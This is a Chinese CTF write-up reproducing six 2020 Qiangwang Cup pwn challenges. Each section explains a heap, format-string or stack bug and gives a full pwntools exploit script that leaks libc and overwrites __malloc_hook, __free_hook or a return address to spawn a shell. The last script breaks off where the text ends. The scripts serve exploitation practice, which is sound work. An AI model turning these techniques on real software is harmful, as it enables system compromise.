2020_强网杯_pwn_复现

0x1 direct

程序分析

add 函数

  my_write("Index: ");
  result = my_scanf();
  idx = result;
  if ( result <= 0xF )
  {
    result = chunk_addr[result];
    if ( !result )
    {
      my_write("Size: ");
      result = my_scanf();
      size = result;
      if ( result <= 0x100 )
      {
        addr = malloc(result);
        if ( addr )
        {
          chunk_addr[idx] = addr;
          chunk_size[idx] = size;
          result = my_write_1("Done!");
        }
        else
        {
          result = my_write_1("allocate failed");
        }
      }
    }
  }
  return result;

可以分配 16 个 chunk ,并且分配的大小不超过 0x100 ,将分配 chunk 的 addr 和 size 存进对应的 bss 段数组中。

edit 函数

  if ( opendir_flag )
  {
    my_write("Index: ");
    result = my_scanf();
    idx = result;
    if ( result <= 0xF )
    {
      result = chunk_addr[result];
      if ( result )
      {
        my_write("Offset: ");
        offset = my_scanf();
        my_write("Size: ");
        size = my_scanf();
        nbytes = size;
        write_end = offset + size;
        result = chunk_size[idx];
        if ( write_end <= (signed __int64)result )
        {
          my_write("Content: ");
          read(0, (void *)(chunk_addr[idx] + offset), nbytes);
          result = my_write_1("Done!");
        }
      }
    }
  }

可以编辑 chunk 中 offset 偏移处开始的内容。

show 函数

  my_write("Index: ");
  result = my_scanf();
  v1 = result;
  if ( result <= 0xF )
  {
    result = chunk_addr[result];
    if ( result )
    {
      free((void *)chunk_addr[v1]);
      chunk_addr[v1] = 0LL;
      result = (unsigned __int64)chunk_size;
      chunk_size[v1] = 0LL;
    }
  }

菜单上写得是 show 函数,实际却是执行 free 操作,将 chunk free 掉,并将 bss 段对应数组的值置 0 。

open_file

  if ( !opendir_flag )
  {
    dirp = opendir(".");
    if ( !dirp )
      exit(-1);
    opendir_flag = 1;
    result = my_write_1("Done!");
  }
  return result;

用于打开当前目录。

close_file

  if ( opendir_flag )
  {
    result = (unsigned __int64)readdir(dirp);
    v1 = (struct dirent *)result;
    if ( result )
    {
      my_write("Filename: ");
      result = my_write_1(v1->d_name);
    }
  }
  return result;

打印当前目录的文件名。

利用过程

这题的漏洞在于 edit 中的 offset 可以输入负值,这样就能修改 chunk 的 size ,造成 overlap ;分配 chunk 在 dir 中的踩出 libc 地址,通过 close_file 泄露 libc ;最后 fast bin 打 free hook get shell 。

overlap

add(0,0x18) # 0
add(1,0x18) # 1
open_file() 
add(2,0x18) # 2
edit(0,-8,8,p64(0x8081))
gdb-peda$ x /80xg 0x55a13199f250 
0x55a13199f250: 0x0000000000000000      0x0000000000008081
0x55a13199f260: 0x0000000000000000      0x0000000000000000
0x55a13199f270: 0x0000000000000000      0x0000000000000021
0x55a13199f280: 0x0000000000000000      0x0000000000000000
0x55a13199f290: 0x0000000000000000      0x0000000000008041
0x55a13199f2a0: 0x0000000000000003      0x0000000000008000
0x55a13199f2b0: 0x0000000000000000      0x0000000000000000
0x55a13199f2c0: 0x0000000000000000      0x0000000000000000
0x55a13199f2d0: 0x0000000000000000      0x0000000000000000

修改 chunk 0 的size 为 0x8081,等后面 free 掉 chunk 0 就可以造成 overlap 。

leak libc

close_file()
delete(0)
add(10,0x18) # 10
add(3,0x78) # 3
add(4,0x88) # 4
edit(4,-8,8,'b' * 8)
close_file()
p.recvuntil('b' * 5)
libcbase_addr = u64(p.recv(6) + '\x00\x00') + 0x7f7e842f4000 - 0x7f7e846dfca0 // libc_start_addr - main_arena+96_addr
gdb-peda$ x /80xg 0x55a13199f250 
0x55a13199f250: 0x0000000000000000      0x0000000000000021 <-- chunk 0
0x55a13199f260: 0x00007f7e846e03f0      0x00007f7e846e03f0
0x55a13199f270: 0x000055a13199f250      0x0000000000000081 <-- chunk 1 ; chunk 3
0x55a13199f280: 0x00007f7e846dfca0      0x00007f7e846dfca0
0x55a13199f290: 0x0000000000000000      0x0000000000000000
0x55a13199f2a0: 0x0000000000000003      0x0000000000008000
0x55a13199f2b0: 0x0000000000000150      0x000000000000627a
0x55a13199f2c0: 0x0000000000000040      0x0000000000000000
0x55a13199f2d0: 0x00000000ffffffff      0x0000000000000020
0x55a13199f2e0: 0x040000002e040018      0x00000000ffffffff <-- d_name 1
0x55a13199f2f0: 0x0000000000000040      0x6262626262626262 <-- d_name 2 ; chunk 4
0x55a13199f300: 0x00007f7e846dfca0      0x00007f7e846dfca0
0x55a13199f310: 0x0000000000000000      0x0000000000000000
0x55a13199f320: 0x00000000ffffffff      0x0000000000000088

运行一次 close_file , dir 中会记录当前目录的文件名或目录名。比如 0x55a13199f2e0 记录了当前目录第一个目录名 “.” ,也就是 2e ,
0x55a13199f2f0 处记录了当前目录第二个目录名,正常应为 2e2e ,也就是 “..” 。不过这里已经使用 edit 函数覆盖为 “bbbbbbbb” ,目的是在 leak 不会因为 \x00 而截断。 0x55a13199f300 处有我们通过分配 chunk 4 踩出的 main_arena 地址,这样在 my_write_1(v1->d_name) 时就能 leak 出 main_arena 地址。

delete(1)
edit(3,0,8,p64(libcbase_addr + libc.symbols['__free_hook']))
add(5,0x78)
edit(5,0,8,'/bin/sh\x00')
add(6,0x78)
edit(6,0,8,p64(libcbase_addr + libc.symbols['system']))
delete(5)

后面的步骤就简单了,从上步我们知道 chunk 1 跟 chunk 3 指向同一个 chunk ,可以当成 uaf 使用,直接 tcache chunk attack 打 free_hook 为 system 即可。

exp

from pwn_debug import *

file_name = 'direct'
#libc_name = ''
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',
'/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('local')

elf = pdbg.elf
libc = pdbg.libc
#elf = ELF(file_name)
#libc = ELF(libc_name)

def add(idx,size):
    p.sendlineafter('Your choice: ',str(1))
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('Size: ',str(size))

def edit(idx,offset,size,content):
    p.sendlineafter('Your choice: ',str(2))
    p.sendlineafter('Index: ',str(idx))
    p.sendlineafter('Offset: ',str(offset))
    p.sendlineafter('Size: ',str(size))
    p.sendafter('Content: ',str(content))
    
def delete(idx):
     p.sendlineafter('Your choice: ',str(3))
     p.sendlineafter('Index: ',str(idx))

def open_file():
     p.sendlineafter('Your choice: ',str(4))

def close_file():
     p.sendlineafter('Your choice: ',str(5))

add(0,0x18) # 0
add(1,0x18) # 1
open_file() # 2
add(2,0x18)
edit(0,-8,8,p64(0x8081))

close_file()

delete(0)
add(10,0x18) # 10
add(3,0x78) # 3
add(4,0x88) # 4
edit(4,-8,8,'b' * 8)
close_file()

p.recvuntil('b' * 5)
libcbase_addr = u64(p.recv(6) + '\x00\x00') + 0x7ffff79e4000-0x7ffff7dcfca0 

print hex(libcbase_addr)

delete(1)
edit(3,0,8,p64(libcbase_addr + libc.symbols['__free_hook']))
add(5,0x78)
edit(5,0,8,'/bin/sh\x00')
add(6,0x78)
edit(6,0,8,p64(libcbase_addr + libc.symbols['system']))
delete(5)

p.interactive()

ps:这题是按本机及目录环境调试的,在用 docker 复现时发现目录环境不一样导致 exp 失败,也不知道比赛时具体的环境是怎么样的...

0x2 强网先锋 Just_a_Galgame

程序分析

程序有五个功能

Send her a little gift

if ( times_can_send_gift <= 0 )
{
      puts("Emmm...Alright. Thank you.");
}
else
{
      --times_can_send_gift;
      puts("\nHotaru: Wow! Thanks~\n");
      heaplist[6 - times_can_send_gift] = (__int64)malloc(0x68uLL);
      puts("[ You've hold some place in her heart! ]");
}
continue;

分支 1 ,而可以分配 0x68 大小的 chunk ,最多能分配 7 个 chunk 。

Invite her to go to a movie

if ( times_can_see_movie <= 0 || times_can_send_gift > 6 )
{
      puts("\nHotaru: Emmm...Sorry I should go home now. Maybe the next time.\n");
}
else
{
      puts("\nHotaru: Okay~ Let's choose a movie!\n");
      --times_can_see_movie;
      printf("idx >> ", &buf);
      read(0, &buf, 0x10uLL);
      if ( heaplist[atoi((const char *)&buf)] )
      {
            printf("movie name >> ", &buf);
            idx = atoi((const char *)&buf);
            read(0, (void *)(heaplist[idx] + 96), 0x10uLL);
            puts("\nHotaru: What a good movie! I like it~\n");
            puts("[ You've gained a lot favor of her! ]");
       }
       else
       {
            puts("[ The movie is not exist. ]");
            ++times_can_see_movie;
      } 
}
continue;

分支 2 ,可以对某个 chunk 的 96 偏移处写入 0x10 大小的内容,最多编辑 1 次。注意这里没有对 idx 检查,也就是我们可以往数组外的指针写入内容。

Confess to her

if ( times_to_confess <= 0 || times_can_send_gift > 6 )
{
      puts("\nHotaru: Sorry, I think it's better for us to be friends.\n");
}
else
{
      --times_to_confess;
      puts("You are the apple of my eyes too!");
      qword_404098 = (__int64)malloc(0x1000uLL);
      ++times_can_see_movie;
}
continue;

分支 3 ,分配一个 0x1000 大小的 chunk ,最多分配一次 。将分支 2 编辑次数加一。

Collection

puts("Reciew your cgs >> ");
while ( idx_1 <= 6 - times_can_send_gift )
{
      printf("%d: %s\n", (unsigned int)idx_1, heaplist[idx_1]);
      ++idx_1;
}
continue;

分支 4 ,可以看作是 show 函数。

Leave

puts("\nHotaru: Won't you stay with me for a while? QAQ\n");
read(0, &unk_4040A0, 8uLL);
v7 = 8LL;
v8 = "No bye!";
v9 = &unk_4040A0;
do
{
      if ( !v7 )
            break;
      v5 = (const unsigned __int8)*v8 < *v9;
      v6 = *v8++ == *v9++;
      --v7;
}while ( v6 );

if ( (!v5 && !v6) != v5 )
{
      puts("\n(='3'=)>daisuki~\n");
      continue;
}
return 0LL;

分支 5 ,如果输入的字符串为 “No bye!” 则退出。这里重点是写入的内容记录在了 unk_4040A0 处,作用留在后面讲。

利用过程

leak libc

题目给了提示 house of orange ,那就先 house of orange 获得 unsorted bin chunk ,在 unsorted bin 中踩出 main_arena 地址,通过分支 4 打印出来即可。

add()
edit(0,'\x00' * 8 + p64(0xd41))
add_big()
add()
show()

p.recvuntil('1: ')
addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc_base = addr - 0x3ec2a0
onegadget = libc_base + 0x10a45c
malloc_hook = libc_base + libc.symbols['__malloc_hook']

print 'addr:' + hex(addr)
print 'libc_base:' + hex(libc_base)
print 'onegadget:' + hex(onegadget)
print 'malloc_hook:' + hex(malloc_hook)

edit __malloc_hook

leak libc 后我们可以计算出 __malloc_hook 的地址,但是我们现在就只有一次调用分支 2 的机会,要怎么将 one_gadget 写入 __malloc_hook 呢?这里要用到分支 5 中的 unk_4040A0 。先看下 bss 中的布局:

.bss:0000000000404060 heaplist
                      ...
.bss:0000000000404098 qword_404098
.bss:00000000004040A0 unk_4040A0

如果我们在 0x4040A0 写入 __malloc_hook - 96 的地址,通过控制分支 2 中的 idx 就可以将 one_gadget 写入 __malloc_hook 。再次调用 malloc 即可 get shell 。

p.sendafter('>> ',str(5))
p.sendafter("\nHotaru: Won't you stay with me for a while? QAQ\n",p64(malloc_hook - 96))

edit(8,p64(onegadget))

p.sendafter('>> ',str(1))

exp

from pwn_debug import *

file_name = 'Just_a_Galgame'
libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so',
'/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')

#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)

def add():
    p.sendafter('>> ',str(1))

def edit(idx,name):
    p.sendafter('>> ',str(2))
    p.sendafter('idx >> ',str(idx))
    p.sendafter('movie name >> ',name)
    
def add_big():
    p.sendafter('>> ',str(3))

def exit():
    p.sendafter('>> ',str(5))
    p.sendafter("\nHotaru: Won't you stay with me for a while? QAQ\n",'No bye!' + '\x00')

def show():
    p.sendafter('>> ',str(4))

add()
edit(0,'\x00' * 8 + p64(0xd41))
add_big()
add()
show()

p.recvuntil('1: ')
addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc_base = addr - 0x3ec2a0
onegadget = libc_base + 0x10a45c
malloc_hook = libc_base + libc.symbols['__malloc_hook']

print 'addr:' + hex(addr)
print 'libc_base:' + hex(libc_base)
print 'onegadget:' + hex(onegadget)
print 'malloc_hook:' + hex(malloc_hook)


p.sendafter('>> ',str(5))
p.sendafter("\nHotaru: Won't you stay with me for a while? QAQ\n",p64(malloc_hook - 96))

edit(8,p64(onegadget))

p.sendafter('>> ',str(1))

#gdb.attach(p)
p.interactive()

0x3 强网先锋 Siri

程序分析

v4 = __readfsqword(0x28u);
v2 = strstr(a1, "Remind me to ");
if ( !v2 )
      return 0LL;
memset(&s, 0, 0x110uLL);
sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 13);
printf(&s);
puts(&::s);
return 1LL;

程序存在格式化字符串漏洞,所以思路就是格式化字符串漏洞 leak stack_addr 跟 libc ,然后写返回地址为 one_gadget 即可。

利用过程

这里需要注意一点, &s 是用 sprintf 写入的,而 sprintf 存在 '\x00' 截断。
如果我们想要以每次修改 2 字节的方式修改 ret_addr ,那必然会有如下栈布局:

stack_ret_addr: ret_addr
stack_input_addr:                         fmtstr
stack_input_addr + len(fmtstr):           stack_ret_addr
stack_input_addr + len(fmtstr) + 8:       stack_ret_addr + 2
stack_input_addr + len(fmtstr) + 16:      stack_ret_addr + 4

而本题的栈地址都是 6 字节,高位两字节为 '\x00' ,而 sprintf 存在 '\x00' 截断,这样导致 &s 中只能写入一个地址:

stack_input_addr:                         fmtstr
stack_input_addr + len(fmtstr):           stack_ret_addr
stack_input_addr + len(fmtstr) + 8:       0
stack_input_addr + len(fmtstr) + 16:      0

这给利用带来了很大的麻烦,不过 &s 虽然被截断了,可是 a1 并没有, a1 是在主函数中通过 read 输入的,也就是保存了完整的三个地址,我们在写格式化字符串时将偏移改到这三个地址即可:

pwndbg> stack 55
00:0000│ rsp   0x7ffc546054e0 —▸ 0x7f31c39d4170 —▸ 0x55a015ced000 ◂— 0x10102464c457f
01:0008│       0x7ffc546054e8 —▸ 0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
02:0010│       0x7ffc546054f0 —▸ 0x7ffc54605700 ◂— 0x0
03:0018│       0x7ffc546054f8 —▸ 0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
04:0020│ rdi   0x7ffc54605500 ◂— 0x202c4b4f203e3e3e ('>>> OK, ')
05:0028│       0x7ffc54605508 ◂— 0x6d6572206c6c2749 ("I'll rem")
06:0030│       0x7ffc54605510 ◂— 0x20756f7920646e69 ('ind you ')
07:0038│       0x7ffc54605518 ◂— 0x3037373325206f74 ('to %3770')
08:0040│       0x7ffc54605520 ◂— 0x6e68243535256336 ('6c%55$hn')
09:0048│       0x7ffc54605528 ◂— 0x2563373837373725 ('%77787c%')
0a:0050│       0x7ffc54605530 ◂— 0x3834256e68243635 ('56$hn%48')
0b:0058│       0x7ffc54605538 ◂— 0x2437352563333131 ('113c%57$')
0c:0060│       0x7ffc54605540 ◂— 0x5628616161616e68 ('hnaaaa(V')
0d:0068│       0x7ffc54605548 ◂— 0x7ffc5460                        <-- &s 中的地址
0e:0070│       0x7ffc54605550 ◂— 0x0                               <-- 可以看到被截断了,只写入了一个地址
... ↓
26:0130│       0x7ffc54605610 —▸ 0x7ffc54605740 —▸ 0x55a015cee4d0 ◂— push   r15
27:0138│       0x7ffc54605618 ◂— 0x1bffca4fa2735300
28:0140│ rbp   0x7ffc54605620 —▸ 0x7ffc54605740 —▸ 0x55a015cee4d0 ◂— push   r15
29:0148│       0x7ffc54605628 —▸ 0x55a015cee44c ◂— test   eax, eax
2a:0150│       0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
2b:0158│ r8-5  0x7ffc54605638 ◂— 0x373325206f742065 ('e to %37')
2c:0160│       0x7ffc54605640 ◂— 0x2435352563363037 ('706c%55$')
2d:0168│       0x7ffc54605648 ◂— 0x3738373737256e68 ('hn%77787')
2e:0170│       0x7ffc54605650 ◂— 0x256e682436352563 ('c%56$hn%')
2f:0178│       0x7ffc54605658 ◂— 0x3525633331313834 ('48113c%5')
30:0180│       0x7ffc54605660 ◂— 0x616161616e682437 ('7$hnaaaa')
31:0188│       0x7ffc54605668 —▸ 0x7ffc54605628 —▸ 0x55a015cee44c ◂— test   eax, eax <-- a1 中的三个地址 
32:0190│       0x7ffc54605670 —▸ 0x7ffc5460562a ◂— 0x6552000055a015ce
33:0198│       0x7ffc54605678 —▸ 0x7ffc5460562c ◂— 0x696d6552000055a0
34:01a0│       0x7ffc54605680 ◂— 0x0

exp

from pwn_debug import *
 
file_name = 'Siri'
libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']
pdbg = pwn_debug(file_name)
pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so',
'/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-linux-x86-64.so.2')
pdbg.remote('0.0.0.0',9997)
p = pdbg.run('remote')

#elf = pdbg.elf
#libc = pdbg.libc
elf = ELF(file_name)
libc = ELF(libc_name)

p.sendlineafter('>>> ','Hey Siri!')

p.sendlineafter('>>> What Can I do for you?','Remind me to aaaa%46$lx,bbbb%83$lx')
p.recvuntil('aaaa')
stack_addr = int(p.recv(12),16)
p.recvuntil('bbbb')
libc_start_main_231 = int(p.recv(12),16)

print hex(stack_addr)
print hex(libc_start_main_231)

libc_base = libc_start_main_231 - 231 - libc.symbols['__libc_start_main']
one_gadget = [0x4f365,0x4f3c2,0x10a45c]
onegadget = libc_base + one_gadget[0]
ret_addr = stack_addr - 0x118

print 'onegadget:' + hex(onegadget)
print 'ret_addr:' + hex(ret_addr)
print 'libc_base:' + hex(libc_base)

a1 = onegadget % (16 ** 4)
a2 = (onegadget / (16**4)) % (16**4)
a3 = onegadget / (16**8) 

print '' + hex(a1) + ',' + hex(a2) + ',' + hex(a3)

payload = 'Remind me to '
payload += '%'
payload += str(a1 - 27)
payload += 'c%55$hn'
payload += '%'
payload += str(0x10000 + a2 - a1)
payload += 'c%56$hn'
payload += '%'
payload += str(0x10000 + a3 - a2)
payload += 'c%57$hn'
payload = payload.ljust(0x38,'a')
payload += p64(ret_addr)
payload += p64(ret_addr + 2)
payload += p64(ret_addr + 4)


payload1 = 'Remind me to aaa' + fmtstr_payload(50,{ret_addr:onegadget},30,'short')


p.sendlineafter('>>> ','Hey Siri!')

#gdb.attach(p)

p.sendafter('>>> What Can I do for you?',payload)


#gdb.attach(p)
p.interactive()

0x4 强网先锋 babymessage

程序分析

分支 1 能向 bss 段中写入 4 字节数据。

puts("name: ");
name[(signed int)read(0, name, 4uLL)] = 0;
puts("done!\n");

分支 2

puts("message: ");
v1 = read(0, &v3, a1);
strncpy(buf, (const char *)&v3, v1);
buf[v1] = 0;
puts("done!\n");

分支 2 能向栈中写入 a1 大小的数据。

message_size    = dword ptr -4

.text:0000000000400980                 cmp     eax, 2
.text:0000000000400983                 jnz     short loc_4009A1
.text:0000000000400985                 cmp     [rbp+message_size], 100h
.text:000000000040098C                 jle     short loc_400995
.text:000000000040098E                 mov     [rbp+message_size], 100h

如果 message_size 大于等于 256 ,则取 256 。

利用过程

栈溢出长度不够,只能溢出到 rbp ,我们要想办法让 message_size >= 256 ,这样我们就可以往栈上输入 256 字节的内容。 message_size 在栈上 rbp - 4 处。我们可以通过分支 1 往 bss 段输入一个大于 256 的值,然后通过覆盖 rbp 为输入值地址 + 4 ,这样就能绕过判断,使得我们可以往栈上输入 256 字节,后面就是常规的 rop 即可。

exp

from pwn import *

file_name = './babymessage'
libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'

context.binary = file_name
context.log_level = 'debug'
context.terminal = ['./hyperpwn/hyperpwn-client.sh']

#p = process(file_name)
p = remote('0.0.0.0',9997)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)

libc = ELF('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
#libc = elf.libc

name = 0x6010D0
pop_rdi = 0x400ac3
start = 0x4006E0
ret = 0x400646

p.sendlineafter('choice: ','1')
p.sendafter('name: ',p32(0x1000))
p.sendlineafter('choice: ','2')
p.sendafter('message: ','a' * 8 + p64(name + 4))

payload = 'a' * 16 + flat([pop_rdi,elf.got['puts']],elf.plt['puts'],p64(start))

p.sendlineafter('choice: ','2')
p.sendafter('message: ',payload)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()
#one_gadget = [0x4f365,0x4f3c2,0x10a45c]
#onegadget = libc_base + 0x10a45c

p.sendlineafter('choice: ','1')
p.sendafter('name: ',p32(0x1000))
p.sendlineafter('choice: ','2')
p.sendafter('message: ','a' * 8 + p64(name + 4))

payload = 'a' * 16 + flat([ret,pop_rdi,binsh,system]) #加个 ret 使得靶机栈对齐
#payload = 'a' * 16 + p64(onegadget)

p.sendlineafter('choice: ','2')
p.sendafter('message: ',payload)

p.interactive()

0x5 强网先锋 babybnotes

程序分析

memset(&s, 0, 0x50uLL);
motto_addr = (char *)malloc(0x100uLL);
name_addr = (char *)malloc(0x18uLL);
puts("Input your name: ");
if ( (unsigned int)read(0, &s, 0x18uLL) == -1 )
      exit(0);
puts("Input your motto: ");
if ( (unsigned int)read(0, &v3, 0x20uLL) == -1 )
      exit(0);
puts("Input your age: ");
__isoc99_scanf("%lld", &v2);
strcpy(name_addr, &s);
strncpy(motto_addr, (const char *)&v3, 0x20uLL);
age = v2;

程序漏洞出现在 regist 函数中,如果我们将 name 输入 16 个字节,那么 strcpy 就会将 age 的值也赋值到 name_addr 中,类似于 off-by-one 。我们可以利用这点造 overlap 。

程序利用

思路很简单, 造 unsorted bin 来 leak libc ,然后造 overlap ,通过 fastbin attack 打 malloc_hook 拿 shell 。

add(0,0x100) # 0
add(1,0x60) # 1
delete(0)
add(0,0x100) # 0
show(0)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b78
one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_base + one_gadget[3]
malloc_hook = libc_base + libc.symbols['__malloc_hook']

print 'libc_base :' + hex(libc_base)
print 'onegadget :' + hex(onegadget)

分配一个 unsorted bin chunk ,然后通过 show 函数来泄露 libc 。

delete(0)
delete(1)
add(4,0x60)
add(5,0x100)

add(0,0x18) # 0
add(1,0x30) # 1
add(2,0x60) # 2
add(3,0x20) # 3

edit(2,'\x00' * 0x18  + p64(0x30)) # 绕过 malloc(): memory corruption (fast)
delete(0)
delete(2)

rest('a' * 0x18,'aaaa',0x61) # 改 size 造 overlap
delete(1)

布置对应的环境,使得满足 free 时的检测,然后通过 regist 函数中的 of-by-one ,将 chunk 1 的 size 改大,然后 free 掉,这样我们再次分配回改大的 chunk 时就可以通过 edit 控制 chunk 2 的 fd 指针。

add(0,0x50)
edit(0,'\x00' * 0x38 + p64(0x71) + p64(malloc_hook - 0x23))

add(1,0x60)
add(2,0x60)
edit(2,'a' * 0x13 + p64(onegadget))
delete(0)

p.sendlineafter('>> ','1')
p.sendlineafter('Input index: ',str(0))
p.sendlineafter('Input note size: ',str(0x60))

fastbin attack ,分配到 malloc_hook 附近的块,然后通过 edit 修改 malloc_hook 为 onegadget ,再次调用 malloc 即可。

exp

from pwn import *

file_name = './babynotes'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'

context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']

#p = process(file_name)
p = remote('0.0.0.0',9997)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)

#libc = elf.libc
libc = ELF(libc_name)

def add(idx,size):
    p.sendlineafter('>> ','1')
    p.sendlineafter('Input index: ',str(idx))
    p.sendlineafter('Input note size: ',str(size))

def show(idx):
    p.sendlineafter('>> ','2')
    p.sendlineafter('Input index: ',str(idx))

def delete(idx):
    p.sendlineafter('>> ','3')
    p.sendlineafter('Input index: ',str(idx))

def edit(idx,notes):
    p.sendlineafter('>> ','4')
    p.sendlineafter('Input index: ',str(idx))
    p.sendafter('Input your note: ',notes)

def rest(name,motto,age):
    p.sendlineafter('>> ','5')
    p.sendafter('Input your name: ',name)
    p.sendafter('Input your motto: ',motto)
    p.sendlineafter('Input your age: ',str(age))

p.sendafter('Input your name: ','jkl')
p.sendafter('Input your motto: ','aaaa')
p.sendlineafter('Input your age: ',str(0x18))

add(0,0x100) # 0
add(1,0x60) # 1
delete(0)
add(0,0x100) # 0
show(0)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b78
one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
onegadget = libc_base + one_gadget[3]
malloc_hook = libc_base + libc.symbols['__malloc_hook']

print 'libc_base :' + hex(libc_base)
print 'onegadget :' + hex(onegadget)

delete(0)
delete(1)
add(4,0x60)
add(5,0x100)

add(0,0x18) # 0
add(1,0x30) # 1
add(2,0x60) # 2
add(3,0x20) # 3

edit(2,'\x00' * 0x18  + p64(0x30))
delete(0)
delete(2)

rest('a' * 0x18,'aaaa',0x61)
delete(1)

add(0,0x50)
edit(0,'\x00' * 0x38 + p64(0x71) + p64(malloc_hook - 0x23))

add(1,0x60)
add(2,0x60)
edit(2,'a' * 0x13 + p64(onegadget))
delete(0)

p.sendlineafter('>> ','1')
p.sendlineafter('Input index: ',str(0))
p.sendlineafter('Input note size: ',str(0x60))


#gdb.attach(p)
p.interactive()


0x6 easypwn

程序分析

for ( i = -1; ; *(_BYTE *)(addr + i) = buf )
{
      v5 = i;
      if ( i + 1 >= (unsigned int)(size + 1) )
      break;
      if ( size - 1 == v5 )
     {
            buf = 0;
            *(_BYTE *)(addr + ++i) = 0;
            return __readfsqword(0x28u) ^ v6;
     }
      if ( (signed int)read(0, &buf, 1uLL) <= 0 )
      exit(-1);
      if ( buf == 10 )
      return __readfsqword(0x28u) ^ v6;
      ++i;
}
return __readfsqword(0x28u) ^ v6;

程序漏洞出现在输入函数,存在 off-by-null 漏洞。同时程序没有 show 函数,需要想办法 leak libc 。

if ( !mallopt(1, 0) )
      exit(-1);

程序还关闭了 fastbin ,对我们的利用造成不便。

利用过程

思路就是首先通过 off-by-null 造 overlap ,然后通过 unsorted bin attack 修改 global_max_fast 为一个较大的值。通过猜测一位来爆破 stdout ,利用 stdout leak libc ,最后 fast bin attack 打 malloc_hook 即可。

add(0x68) # 0
add(0x68) # 1
add(0x68) # 2
add(0x68) # 3
add(0xf8) # 4
add(0x68) # 5
add(0x18) # 6
add(0x18) # 7
delete(0)
edit(3,'a' * 0x60 + p64(0x1c0))
delete(6)
delete(4)

构造 7 个 chunk ,在 chunk 4 中 伪造 prev_size ,然后通过 off-by-null 将 inuse 位置 0 ,这样 free chunk 4 就能得到前五个 chunk 合并的大 chunk ,造成了 overlap 。

add(0x68)#0
add(0x68)#4
add(0x68)#6
edit(3,"a"*8+"\xe8\x37\n")
add(0x168)

unsorted bin attack 将 global_max_fast 修改为较大的值,这里是直接猜测的地址,爆破概率 1/16 。

delete(2)
delete(1)
edit(4,"\x00\n")
edit(0,"\xdd\x25\n")
add(0x68)#1
add(0x68)#2
add(0x68)#9
edit(9,"\x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "\x00\n")
p.recvuntil("\x7f\x00\x00")
addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
print hex(addr)

fast bin attack 将 chunk 分配至 _IO_2_1_stdout 附近,这里也是直接猜测的地址,爆破成功率 1/16 ,然后通过修改 _IO_write_base 达到 leak libc 的目的。

p.sendline("3")
p.sendlineafter(":\n","2")
edit(0,p64(addr+0x7ffff7dd1aed-0x7ffff7a0d000)+"\n")
add(0x68)
add(0x68)
edit(10,"\x00"*0x13+p64(addr+0xf0364)+"\n")
#gdb.attach(p)
add(0x10)
p.interactive()

再次 fast bin attack 打 malloc_hook 为 onegadget ,最后调用 malloc 即可 get shell 。

exp

from pwn import *

file_name = './easypwn'
libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'

context.binary = file_name
context.log_level = 'debug'
#context.terminal = ['./hyperpwn/hyperpwn-client.sh']

#p = process(file_name)
#p = process('./idaidg/linux_server64')
elf = ELF(file_name)

#libc = elf.libc
libc = ELF(libc_name)

def add(size):
    p.sendlineafter(":\n",str(1))
    p.sendlineafter(":\n",str(size))

def edit(index,note):
    p.sendlineafter(":\n",str(2))
    p.sendlineafter(":\n",str(index))
    p.sendafter(":\n",note)

def delete(index):
    p.sendlineafter(":\n",str(3))
    p.sendlineafter(":\n",str(index))

for i in range(100):
    try:
        p = remote('0.0.0.0',9997)
        add(0x68) # 0
        add(0x68) # 1
        add(0x68) # 2
        add(0x68) # 3
        add(0xf8) # 4
        add(0x68) # 5
        add(0x18) # 6
        add(0x18) # 7
        delete(0)
        edit(3,'a' * 0x60 + p64(0x1c0))
        delete(6)
        delete(4)
        
        add(0x68) # 0
        add(0x68) # 4 1
        add(0x68) # 6 2
        edit(3,"a" * 8 + "\xe8\x37\n")

        add(0x168)
        delete(2)
        delete(1)

